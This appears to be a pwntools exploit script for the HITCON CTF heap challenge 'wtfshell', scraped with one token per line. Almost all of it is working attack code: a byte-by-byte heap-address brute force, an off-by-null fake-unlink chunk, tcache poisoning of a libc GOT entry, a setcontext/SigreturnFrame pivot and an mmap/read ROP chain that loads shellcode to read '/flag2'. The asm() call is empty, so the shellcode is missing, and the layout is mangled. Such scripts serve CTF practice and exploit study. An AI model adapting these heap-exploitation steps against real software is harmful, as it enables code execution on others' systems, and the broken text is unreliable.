from
pwn
import
*
context(arch
=
'amd64'
, os
=
'linux'
)
def
qwq(name):
log.success(
hex
(name))
def
debug(point):
if
point
=
=
0
:
gdb.attach(r)
else
:
gdb.attach(r,
"b "
+
point)
r
=
process(
'/mnt/hgfs/ubuntu/hitcon/heap/share/wtfshell'
)
libc
=
ELF(
'/mnt/hgfs/ubuntu/hitcon/heap/share/libc.so.6'
)
def
menu(payload):
r.recvuntil(
"√"
)
r.sendline(payload)
def
add_data(name,content):
payload
=
b
'rip.'
+
name
menu(payload)
sleep(
0.1
)
r.send(content)
def
new_file(name,flag):
payload
=
b
'nsfw,'
+
name
+
b
','
+
flag
menu(payload)
def
show_file(name):
payload
=
b
'omfg,'
+
name
menu(payload)
def
recover_data(name,content):
payload
=
b
'wtf,'
+
content
+
b
','
+
name
menu(payload)
def
delete_file(name):
payload
=
b
'gtfo,'
+
name
menu(payload)
def
add_user(name):
payload
=
b
'stfu,'
+
name
menu(payload)
def
edit_pwd(name,pwd):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd)
def
delete_all():
payload
=
b
'irl.'
menu(payload)
def
burp(name,pwd):
addr
=
"\x80"
for
i
in
range
(
0x6
):
log.success(
"addr: "
+
hex
(u64(addr.ljust(
0x8
,
'\0'
))))
for
j
in
range
(
0xb
,
0xff
):
payload
=
b
'asap,'
+
name
menu(payload)
r.recvuntil(b
"password:"
)
r.send(pwd)
r.recvuntil(b
"retype password:"
)
r.send(pwd
+
addr
+
chr
(j)
+
"\n"
)
data
=
r.recvuntil(
"\n"
,timeout
=
0.1
)
if
b
"asap: "
not
in
data:
addr
+
=
chr
(j)
r.send(b
'\x00\n'
)
break
else
:
continue
return
u64(addr.ljust(
0x8
,
'\0'
))
def
write_addr(filename,payload,size):
whole_size
=
len
(payload)
+
1
no_null_payload
=
payload.replace(b
'\x00'
,b
'a'
)
for
i
in
range
(size):
if
no_null_payload[whole_size
-
i
-
2
:whole_size
-
i
-
1
]
=
=
b
'a'
:
recover_data(filename,no_null_payload[
0
:whole_size
-
i
-
2
])
else
:
continue
add_user(b
'what'
)
add_user(b
'lotus'
)
heap_base
=
burp(b
'lotus'
,
"a"
*
0x40
)
-
0x880
key
=
heap_base>>
12
new_file(b
'big'
,b
'3'
)
new_file(b
'gbuff'
,b
'3'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
for
i
in
range
(
0x7
):
new_file(b
"chunk"
+
str
(i).encode(),b
'3'
)
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
new_file(b
'chunk21'
,b
'3'
)
new_file(b
'chunk22'
,b
'3'
)
for
i
in
range
(
0x7
):
for
j
in
range
(
0x4
):
add_data(b
"chunk"
+
str
(i).encode(),b
'a'
*
0x100
)
for
i
in
range
(
0x2
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
for
i
in
range
(
0x3
):
recover_data(b
"chunk2"
+
str
(i).encode(),b
'a'
*
0x20
)
for
i
in
range
(
3
,
7
):
for
j
in
range
(
0x2
):
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0x100
)
add_data(b
"chunk1"
+
str
(i).encode(),b
'a'
*
0xf0
+
b
'\n'
)
[add_data(b
'big'
,p16(
0x1650
)
+
b
'/'
*
(
0x100
-
2
))
for
i
in
range
(
0x10
)]
add_data(b
'big'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'b'
*
0x100
,b
'3'
)
add_data(b
'big'
,b
'a'
*
0x100
)
[add_data(b
'gbuff'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'gbuff'
,b
'a'
*
0xf8
+
b
'\n'
)
[add_data(b
'off-by-null-chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x5
)]
add_data(b
'off-by-null-chunk'
,b
'a'
*
0x10
+
b
'\n'
)
[delete_file(b
"chunk"
+
str
(i).encode())
for
i
in
range
(
0x6
)]
add_data(b
'gbuff'
,b
'a'
*
0x100
)
delete_all()
new_file(b
'useless_chunk'
,b
'3'
)
[add_data(b
'useless_chunk'
,b
'a'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'useless_chunk'
,b
'a'
*
0x10
+
b
'\n'
)
new_file(b
'off-by-null-chunk'
,b
'3'
)
[add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x100
)
for
i
in
range
(
0x3
)]
add_data(b
'off-by-null-chunk'
,b
'\x31'
*
0x10
+
b
'\n'
)
[recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
i))
for
i
in
range
(
0x6
)]
recover_data(b
'off-by-null-chunk'
,b
'\x31'
*
(
0x2ff
-
6
)
+
b
'\x09'
)
menu(b
'rip.'
+
b
'a'
*
(
0x400
-
4
))
for
i
in
range
(
0x9
):
new_file(b
"chunk1"
+
str
(i).encode(),b
'3'
)
for
i
in
range
(
0x9
):
recover_data(b
"chunk1"
+
str
(i).encode(),b
'i'
*
0x2f0
)
fake_point
=
heap_base
+
0x2af0
fake_point_addr
=
fake_point
+
0x30
fake_unlink_chunk
=
b
'i'
*
0x10
+
p64(
0
)
+
p64(
0x1651
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point_addr
-
0x10
)
+
p64(fake_point_addr
-
0x20
)
+
p64(fake_point_addr
-
0x18
)
+
p64(fake_point)
*
2
write_addr(b
'chunk15'
,fake_unlink_chunk,
len
(fake_unlink_chunk)
-
0x10
)
[delete_file(b
"chunk1"
+
str
(i).encode())
for
i
in
range
(
0x4
)]
delete_file(b
'chunk17'
)
delete_file(b
'chunk18'
)
delete_file(b
'chunk16'
)
delete_file(b
'off-by-null-chunk'
)
for
i
in
range
(
0xa
):
new_file(b
'useless'
+
str
(i).encode(),b
'3'
)
recover_data(b
'useless'
+
str
(i).encode(),b
'a'
*
8
)
new_file(b
'a'
*
0x2e0
,b
'3'
)
new_file(b
'b'
*
0x2d0
,b
'3'
)
show_file(b
'chunk14'
)
libc_base
=
u64(r.recvuntil(b
'\x7f'
)[
-
6
:].ljust(
0x8
,b
'\0'
))
-
0x1f6cc0
new_file(b
'a'
*
0x220
,b
'3'
)
new_file(b
'edit_tcache_next'
,b
'3'
)
recover_data(b
'edit_tcache_next'
,b
'a'
*
0x220
)
strtok_libc_got
=
libc_base
+
0x1f6040
write_addr(b
'edit_tcache_next'
,b
'a'
*
192
+
p64((strtok_libc_got
-
0x20
)^(key
+
3
)),
0x8
)
new_file(b
'a'
*
0x20
,b
'3'
)
magic_gadget
=
libc_base
+
0x8c385
new_file(b
'go_attack'
,b
'3'
)
recover_data(b
'go_attack'
,b
'a'
*
0x20
+
p64(magic_gadget)[
0
:
6
])
address
=
libc_base
+
libc.sym[
'__free_hook'
]
frame
=
SigreturnFrame()
frame.rdi
=
0
frame.rsi
=
address
frame.rdx
=
0x200
frame.rsp
=
address
frame.rip
=
libc_base
+
libc.sym[
'read'
]
payload
=
p64(libc_base
+
libc.sym[
'setcontext'
]
+
61
)
+
p64(heap_base
+
0x3d50
)
payload
+
=
bytes(frame)
menu(payload)
pop_rax_ret
=
libc_base
+
0x3fa43
pop_rbx_ret
=
libc_base
+
0x2f1d1
pop_rcx_ret
=
libc_base
+
0x99a83
pop_rdi_ret
=
libc_base
+
0x23b65
pop_rsi_ret
=
libc_base
+
0x251be
pop_rdx_ret
=
libc_base
+
0x166262
pop_r8_ret
=
libc_base
+
0x8c3de
syscall
=
libc_base
+
0x8cc36
int_80
=
libc_base
+
0xce0cb
rop
=
p64(pop_rdi_ret)
+
p64(
0x100000
)
rop
+
=
p64(pop_rsi_ret)
+
p64(
0x1000
)
rop
+
=
p64(pop_rdx_ret)
+
p64(
6
)
rop
+
=
p64(pop_rcx_ret)
+
p64(
0x22
)
rop
+
=
p64(pop_r8_ret)
+
p64(
0xffffffff
)
rop
+
=
p64(libc_base
+
libc.sym[
'mmap'
])
rop
+
=
p64(pop_rdi_ret)
+
p64(
0
)
rop
+
=
p64(pop_rsi_ret)
+
p64(
0x100000
)
rop
+
=
p64(pop_rdx_ret)
+
p64(
0x200
)
rop
+
=
p64(libc_base
+
libc.sym[
'read'
])
rop
+
=
p64(
0x100008
)
sleep(
0.1
)
r.send(rop)
shellcode
=
asm(
)
sleep(
0.1
)
r.send(b
'/flag2\x00\x00'
+
shellcode)
qwq(heap_base)
qwq(libc_base)
r.interactive()